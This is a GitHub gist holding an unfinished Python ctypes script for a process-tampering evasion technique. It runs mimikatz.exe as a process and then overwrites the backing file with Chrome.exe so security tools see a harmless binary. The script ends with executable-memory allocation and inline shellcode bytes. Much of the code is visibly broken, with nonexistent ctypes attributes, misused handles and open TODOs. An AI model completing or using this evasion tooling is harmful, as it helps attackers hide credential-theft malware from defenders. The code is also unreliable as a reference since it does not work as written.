Skip to content

Instantly share code, notes, and snippets.

@Und3rf10w
Created October 29, 2020 19:18
Show Gist options
  • Save Und3rf10w/f0956329bc7e40f782993ef6a76554d6 to your computer and use it in GitHub Desktop.
Save Und3rf10w/f0956329bc7e40f782993ef6a76554d6 to your computer and use it in GitHub Desktop.
You should fork and finish this
import ctypes
from ctypes import wintypes
import struct
source_file_name = "mimikatz.exe"
target_file_name = "calc.exe"
replacement_file_name = "Chrome.exe"
nullptr = ctypes.c_void_p(0)
byteptr = ctypes.POINTER(ctypes.c_ubyte)
# Windows fileapi share mode constants
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_SHARE_DELETE = 0x00000004
# Permissions
GENERIC_ALL = 0x1c
GENERIC_EXECUTE = 0x1d
GENERIC_WRITE = 0x1e
GENERIC_READ = 0x1f
OPEN_EXISTING = 0x3
FILE_ATTRIBUTE_READONLY = 0x1
FILE_ATTRIBUTE_HIDDEN = 0x2
FILE_ATTRIBUTE_SYSTEM = 0x4
FILE_ATTRIBUTE_ARCHIVE = 0x20
FILE_ATTRIBUTE_NORMAL = 0x80
FILE_ATTRIBUTE_TEMPORARY = 0x100
FILE_ATTRIBUTE_OFFLINE = 0x1000
FILE_ATTRIBUTE_ENCRYPTED = 0x4000
CREATE_NEW = 1
CREATE_ALWAYS = 2
OPEN_EXISTING = 3
OPEN_ALWAYS = 4
TRUNCATE_EXISTING = 5
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
# Section Constants, s/o to wine miniddk.h
SECTION_MAP_WRITE = 0x0002
SECTION_MAP_READ = 0x0004
SECTION_MAP_EXECUTE = 0x0008
SEC_IMAGE = 0x1000000
# Page Constants
PAGE_NOACCESS = 0x01
PAGE_READONLY = 0x02
PAGE_READWRITE = 0x04
PAGE_WRITECOPY = 0x08
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PAGE_EXECUTE_WRITECOPY = 0x80
# Process Constants
PROCESS_CREATE_FLAGS_INHERIT_HANDLES = 0x00000004
# Create a void pointer for our process handle
process_handle = ctypes.c_void_p()
# Create our source process handle
source_handle = ctypes.windll.kernel32.CreateFileW(f"{source_file_name}",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None)
# Create our Target Process Handle
target_handle = ctypes.windll.kernel32.CreateFileW(f"{target_file_name}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
None,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
None)
# Copy the contents of our source process handle to the target process handle
source_handle.contents = target_handle.contents
# "release" our source handle
ctypes.kernel32.CloseHandle(source_handle)
del source_handle
# Map a section for the target process, starting with creating the target file's image section
section_handle = ctypes.c_void_p()
ctypes.ntdll.NtCreateSection(ctypes.byref(section_handle),
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
None,
None,
SEC_IMAGE,
target_handle.contents)
# Make the process
# TODO: implement safety procedure, if this fails release the process handle
ctypes.ntdll.NtCreateProcessEx(ctypes.byref(process_handle),
None,
ctypes.ntdll.NtCurrentProcess(),
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
section_handle.contents,
None,
None,
0)
# "release" our section handle
ctypes.kernel32.CloseHandle(section_handle)
del section_handle
# Get the RVA of the target handle. Supposedly. See: https://stackoverflow.com/a/32235051
image_entry_point_rva = ctypes.c_uint()
ctypes.cast(target_handle, # might be target_handle.contents?
image_entry_point_rva)
# Set up our replacement handle
replacement_handle = ctypes.c_void_p()
ctypes.windll.kernel32.CreateFileW(f"replacement_file_name",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None)
# This is where shit gets fucky
# Here we're suppose to replace the bytes of target_handle with replacement_handle
if len(target_handle) < len(replacement_handle):
target_handle.contents = replacement_handle.contents
# else:
# TODO: if that failed, you should just overwrite the target_handle with some junk, less than the len(target_handle)
# !! TODO: Here is where we would implement Utils::ExtendFileSecurityDirectory !!
# Now we make it execute
# Ripped from:
# https://github.com/cuckoosandbox/cuckoo/blob/edd432713934686748298d3c6ff7807d5a9efc87/cuckoo/data/analyzer/windows/lib/api/process.py
pbi = ctypes.create_string_buffer(200)
size = ctypes.c_int()
ctypes.windll.ntdll.NtQueryInformationProcess.restype = wintypes.c_int()
ctypes.windll.ntdll.NtQueryInformationProcess(ctypes.byref(process_handle),
27,
ctypes.byref(pbi),
ctypes.sizeof(pbi),
ctypes.byref(size))
# Here we're supposed to get the peb of the process
# Adapted from: https://gist.github.com/RoeiRaz/6424c66a5af075b7c780ed413bcf6864
# Create a writeable / executable buffer for our shellcode
buffer = ctypes.ntdll.VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
writer = ctypes.cast(buffer, byteptr)
peb_buffer = ctypes.c_int64(0)
# Shellcode to extract the PEB address
code = b"\x50\x53\x48\xBB\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x89\x03\x5B\x58\xC3"
code = code[:4] + struct.pack("<Q", ctypes.addressof(peb_buffer)) + code[12:]
# Right so we're skipping that and going to the last part:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment